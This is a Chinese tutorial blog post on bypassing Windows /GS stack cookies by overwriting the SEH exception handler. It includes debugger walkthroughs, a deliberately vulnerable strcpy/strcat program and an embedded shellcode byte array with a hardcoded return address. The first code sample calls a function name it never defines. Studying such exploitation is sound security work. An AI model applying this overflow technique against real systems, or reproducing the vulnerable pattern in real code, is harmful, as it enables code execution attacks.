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Windows保护机制GS:原理及SEH异常处理突破
2022-05-04 19:38:28

前言

本次文章只用于技术讨论,学习,切勿用于非法用途,用于非法用途与本人无关!

所有环境均为本地环境分析,且在本机进行学习。

GS机制并没有对SEH提供保护,换句话说我们可以通过攻击程序的异常处理达到绕过GS的目的。我们首先通过超长字符串覆盖掉异常处理函数指针,然后想办法触发一个异常,程序就会转入异常处理,由于异常处理函数指针已经被我们覆盖,那么我们就可以通过劫持SEH来控制程序的后续流程。作者:rkabyss

一、GS提供的保护作用

  1. 修改栈帧中函数返回地址的经典攻击将被 GS 机制有效遏制;

  2. 基于改写函数指针的攻击,如对 C++虚函数的攻击,GS 机制仍然很难防御;

  3. 针对异常处理机制的攻击,GS 很难防御;

  4. GS 是对栈帧的保护机制,因此很难防御堆溢出的攻击。

二、GS原理

Security Cookie是由.data段中第一个DWORD进行异或,在程序运行时.data段第一个DWORD一般是随机的,很难去预测它,所以把他当成安全cookie去使用。

Security Cookie一般在进入到函数中后会放在下图当中位置,如果要淹没返回地址一定会先淹没到Security Cookie,在执行到ret返回时程序会调用一个叫做check函数去检查有没有出现问题,Security Cookie在生成时会在栈里和.data段中各存放一个安全cookie,在执行ret时check会对栈中和.data段中cookie进行比较,如果不一样就判断程序被破坏,说明栈发生了溢出。

1651661886_62725c3eb05f61d781fe2.png!small?1651661887335

为了增加Security Cookie随机性,会用.data段第一个DWORD与栈中EBP进行异或操作,当ret时调用check函数再将其异或回去。

1651661920_62725c601ee287b250d3b.png!small?1651661920818

在Security Cookie代码中写了如过没有超过四字节是不会启动安全cookie的,如果要启动只能通过#pragma strict_gs_check(on)使其强制开启。其实这也是绕过的一种方法。

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#pragma strict_gs_check(on)

int vulfuntion(char* str)
{
	char arry[4];
	strcpy(arry, str);
	return 1;
}

int main()
{
	char* str = "123123123123123123123123123";
	vultest(str);
	return 0;
}

因为他是带有符号的,直接跳转到main就可以找到主函数。

1651662011_62725cbb5af60c778a61e.png!small?1651662012071

看到Security Cookie生成的安全cookie放到了EAX寄存器中,为了增加安全cookie随机性,安全cookie又与EBP进行异或。

1651662020_62725cc4a533b6c3f0311.png!small?1651662021418

跳转到EBP可以看到,00F3F92C为EBP下边009AD71E为返回地址。

1651662029_62725ccd668ab4bde8d3b.png!small?1651662030158

将安全cookie放入到了EAX寄存器中。

1651662039_62725cd7866250b7f0ac6.png!small?1651662040320

安全cookie与EBP异或完将其放入到EBP-4位置,在堆栈中可以看到。

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通过上边代码可以看到copy的字符串远大于要传输的空间,所以造成了栈溢出,已将安全cookie、EBP、返回地址全部淹没。如果正常情况下已经可以进行利用,而有了安全cookie之后,在下方使用check函数进行了判断,判断异常直接飞掉。

1651662066_62725cf2aaa0761e9482b.png!small?1651662067445

在调用到check函数之前将安全cookie保存到了ECX中,前面为了增加随机性进行了异或,现在将其进行了恢复。

1651662077_62725cfd02a3763775129.png!small?1651662077795

三、SEH异常突破GS

函数test中存在典型的栈溢出漏洞。在strcpy操作后变量buf会被溢出,当字符串足够长的时候程序的SEH异常处理句柄也会被淹没。由于strcpy的溢出,覆盖了input的地址,会造成strcat从一个非法地址读取数据,这时会触发异常,程序转入异常处理,这样就可以在程序检查Security Cookie前将程序流程劫持。

#include <stdafx.h>
#include <string.h>
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xA0\xFE\x12\x00"//address of shellcode
;

void test(char * input)
{
	
	char buf[200];
	strcpy(buf,input);
    strcat(buf,input);
}

void main()
{
	test(shellcode);	
}

根据release中32程序规则,主函数有三个参数,判断下方call为主函数。

1651662122_62725d2a29e5be4018ecb.png!small?1651662122871

进入到主函数看到call,其实就是test函数,直接进入到test函数当中去。

1651662132_62725d348d2aca745658d.png!small?1651662133279

可以看到整体逻辑如前面原理讲的一样,首先获取到安全cookie保存到EAX当中并与EBP进行异或,在结束时候又将其进行恢复。

1651662142_62725d3edd1443e2cf404.png!small?1651662143624

执行到strcpy函数位置观察栈空间,EBP-4位置为安全cookie,EBP+4为返回地址,EBP+8是参数。后面ESP+44为SE处理程序。

1651662154_62725d4a1fa671603e294.png!small?1651662154865

执行完strcpy函数,观察栈空间发现SE处理程序地址已经被覆盖为shellcode起始地址。

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执行到strcat函数,观察到EBP+8位置已经被覆盖,EBP+8是源字符串,覆盖之后是一个不可访问地址。执行strcat函数会直接进行异常处理,因为源字符串为不可访问地址,而异常处理地址为shellcode起始地址。

1651662172_62725d5c5c04ac5a77e4b.png!small?1651662173040

触发异常处理,进入到shellcode当中,接下来会运行shellcode代码。

1651662180_62725d64b7fcc1c4aaff2.png!small?1651662181429

四、参考链接

https://blog.csdn.net/weixin_43742894/article/details/105800072

https://vultop.com/

《0day安全:软件漏洞分析技术(第二版)》

五、总结

现在很多程序都带有GS,在分析程序的时候发现了缺陷,却因为保护利用不了,先掌握一些突破GS方法,在之后遇到时能将其运用到,之后会对其他一些突破方法进行复现。

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# shellcode # SEH # 二进制漏洞
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